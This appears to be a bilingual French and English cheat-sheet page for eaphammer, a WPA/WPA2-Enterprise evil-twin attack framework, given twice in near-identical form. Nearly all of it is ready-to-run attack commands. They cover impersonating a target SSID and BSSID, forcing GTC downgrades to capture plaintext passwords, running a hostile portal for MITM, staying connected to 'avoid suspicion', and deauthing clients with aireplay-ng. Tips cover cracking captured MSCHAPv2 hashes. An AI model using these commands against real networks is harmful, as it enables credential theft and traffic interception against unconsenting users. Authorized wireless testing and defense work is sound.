← retour aux outils back to tools

# eaphammer

Framework d'attaque evil twin pour WPA/WPA2-Enterprise. Crée des points d'accès factices ciblant l'authentification basée sur EAP pour capturer des identifiants, effectuer un MITM, et attaquer les réseaux WPA-Enterprise. WPA/WPA2-Enterprise evil twin attack framework. Creates rogue access points targeting EAP-based authentication to capture credentials, perform MITM, and attack WPA-Enterprise networks.

↗ https://github.com/s0lst1c3/eaphammer

## Overview

eaphammer automates evil twin attacks against WPA/WPA2-Enterprise networks. It creates a rogue AP mimicking the target network, handles EAP negotiation, captures credential exchanges (MSCHAP, GTC, PEAP), and can perform MITM on associated clients.

## Installation

    git clone https://github.com/s0lst1c3/eaphammer
    cd eaphammer
    ./kali-setup

## Basic Evil Twin

Generate self-signed certificate for the rogue AP

    ./eaphammer --cert-wizard

Launch evil twin attack

    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "TargetCorpWiFi" \
      --creds

With BSSID spoofing (clone the real AP’s MAC)

    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "TargetCorpWiFi" \
      --bssid AA:BB:CC:DD:EE:FF \
      --creds

## Targeting Specific EAP Methods

Force PEAP (catches MSCHAPv2 creds)

    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --negotiate balanced \
      --creds

Force GTC (captures plaintext passwords)

    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --negotiate gtc-downgrade \
      --creds

## MITM / Traffic Interception

Hostile portal (redirect HTTP to capture credentials)

    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --hostile-portal

With internet passthrough (stay connected, avoid suspicion)

    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --creds \
      --pivot

## Certificate Wizard

Interactive cert setup (required before attacks)

    ./eaphammer --cert-wizard

Advanced: clone a real certificate from the target network

    ./eaphammer --cert-wizard --cn "Target Corp CA" --org "Target Corp"

## Deauth Target Clients

Force clients to roam to the rogue AP

    aireplay-ng --deauth 100 -a TARGET_BSSID -c CLIENT_MAC wlan1mon

→ While eaphammer rogue AP is running on wlan0

## Tips

- Dual-adapter setup: one for the rogue AP (eaphammer), one for deauth (aireplay-ng)
- GTC downgrade attacks yield plaintext passwords — most valuable outcome
- MSCHAPv2 credentials from PEAP can be cracked with asleap or hashcat
- Certificate wizard must be run first — clients will see an untrusted cert warning
- Use `--channel` matching the real AP to improve client association

Help / Man page

    eaphammer [options]

    -i IFACE          Wireless interface
    --essid SSID      Target SSID to impersonate
    --bssid MAC       BSSID to use (default: random)
    --channel N       Channel (match target AP)
    --auth TYPE       wpa-eap or open
    --creds           Capture credentials
    --negotiate MODE  balanced, manual, gtc-downgrade
    --cert-wizard     Generate/configure certificates
    --hostile-portal  Enable hostile portal (MITM)
    --pivot           Enable internet passthrough

## Vue d’ensemble

eaphammer automatise les attaques evil twin contre les réseaux WPA/WPA2-Enterprise. Il crée un point d’accès factice imitant le réseau cible, gère la négociation EAP, capture les échanges d’identifiants (MSCHAP, GTC, PEAP), et peut effectuer un MITM sur les clients associés.

## Installation

    git clone https://github.com/s0lst1c3/eaphammer
    cd eaphammer
    ./kali-setup

## Evil twin de base

    # Générer un certificat auto-signé pour le point d'accès factice
    ./eaphammer --cert-wizard

    # Lancer l'attaque evil twin
    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "TargetCorpWiFi" \
      --creds

    # Avec spoofing de BSSID (cloner l'adresse MAC du vrai point d'accès)
    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "TargetCorpWiFi" \
      --bssid AA:BB:CC:DD:EE:FF \
      --creds

## Cibler des méthodes EAP spécifiques

    # Forcer PEAP (capture les identifiants MSCHAPv2)
    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --negotiate balanced \
      --creds

    # Forcer GTC (capture les mots de passe en clair)
    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --negotiate gtc-downgrade \
      --creds

## MITM / interception de trafic

    # Portail hostile (redirige le HTTP pour capturer des identifiants)
    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --hostile-portal

    # Avec passthrough internet (rester connecté, éviter les soupçons)
    ./eaphammer -i wlan0 \
      --channel 6 \
      --auth wpa-eap \
      --essid "Target" \
      --creds \
      --pivot

## Assistant de certificat

    # Configuration interactive du certificat (requise avant les attaques)
    ./eaphammer --cert-wizard

    # Avancé : cloner un certificat réel du réseau cible
    ./eaphammer --cert-wizard --cn "Target Corp CA" --org "Target Corp"

## Déauthentifier les clients cibles

Forcer les clients à basculer vers le point d’accès factice

    aireplay-ng --deauth 100 -a TARGET_BSSID -c CLIENT_MAC wlan1mon

→ Pendant que le point d’accès factice eaphammer tourne sur wlan0

## Conseils

- Configuration à deux adaptateurs : un pour le point d’accès factice (eaphammer), un pour la déauthentification (aireplay-ng)
- Les attaques par downgrade GTC produisent des mots de passe en clair : le résultat le plus intéressant
- Les identifiants MSCHAPv2 issus de PEAP peuvent être crackés avec asleap ou hashcat
- L’assistant de certificat doit être lancé en premier : les clients verront un avertissement de certificat non fiable
- Utilisez `--channel` correspondant au vrai point d’accès pour améliorer l’association des clients

Aide / Page de manuel

    eaphammer [options]

    -i IFACE          Wireless interface
    --essid SSID      Target SSID to impersonate
    --bssid MAC       BSSID to use (default: random)
    --channel N       Channel (match target AP)
    --auth TYPE       wpa-eap or open
    --creds           Capture credentials
    --negotiate MODE  balanced, manual, gtc-downgrade
    --cert-wizard     Generate/configure certificates
    --hostile-portal  Enable hostile portal (MITM)
    --pivot           Enable internet passthrough